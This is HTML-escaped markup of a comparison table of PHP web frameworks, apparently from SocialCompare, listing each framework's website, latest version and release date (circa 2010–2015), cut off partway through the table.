&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v70_6-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v70_6-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
&lt;a href=&quot;http://socialcompare.com/en/review/zikula-php-framework&quot; target=&quot;_top&quot;&gt;Zikula&lt;/a&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;&lt;tfoot&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;th&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;/tfoot&gt;&lt;tbody&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v7_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v7_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v7_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v7_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Website&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://agiletoolkit.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;agiletoolkit.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.banshee-php.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;banshee-php.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://cakephp.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;cakephp.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://clancats.io/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;clancats.io&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://codeigniter.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;codeigniter.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://codeigniter.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;codeigniter.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://fatfreeframework.com/home&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;fatfreeframework.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://fuelphp.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;fuelphp.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://jelix.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;jelix.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://kohanaframework.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;kohanaframework.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://laravel.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;laravel.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://laravel.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;laravel.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://makoframework.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;makoframework.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://mkdevs.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;mkdevs.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://mouf-php.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;mouf-php.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.openbiz.me/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;openbiz.me&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://phalconphp.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;phalconphp.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://phpixie.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;phpixie.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.ppi.io/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.ppi.io&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://silex.sensiolabs.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;sensiolabs.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.slimframework.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;slimframework.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://solarphp.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;solarphp.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://symfony.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;symfony.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.yiiframework.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;yiiframework.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://framework.zend.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;zend.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_7&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://zikula.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;zikula.org&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v8_1&quot; title=&quot;Latest stable version&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v8_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v8_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v8_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Latest version&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;4.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;4.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.6.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.0.6&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.2.1&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.2.1&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;3.4.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;1.7.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;1.5.5&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;3.3.1&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;4.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;4.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;4.4.5&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;v4.98.4&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;3.0.9&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;1.3.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.*@dev&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;1.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;1.2.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.6.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;1.1.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.6.4&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.0.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2.2.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_8&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;1.3.9&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v9_1&quot; title=&quot;Latest stable release date&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v9_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v9_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v9_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Release date&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Jan 17&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Aug 14&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Feb 19&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Sep 16&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Jan 15&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Jan 15&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Jan 1&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Jul 13&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Feb 24&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2013 Sep 4&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Mar 17&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Mar 17&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Mar 6&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Jul 16&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Jan 7&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2013 Mar 6&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Sep 24&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Mar 18&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2012 Jan 1&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Jan 20&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Mar 1&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2010 Nov 9&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Feb 3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2015 Mar 1&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2013 May 15&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_9&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;2014 Aug 22&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v10_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v10_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v10_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v10_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
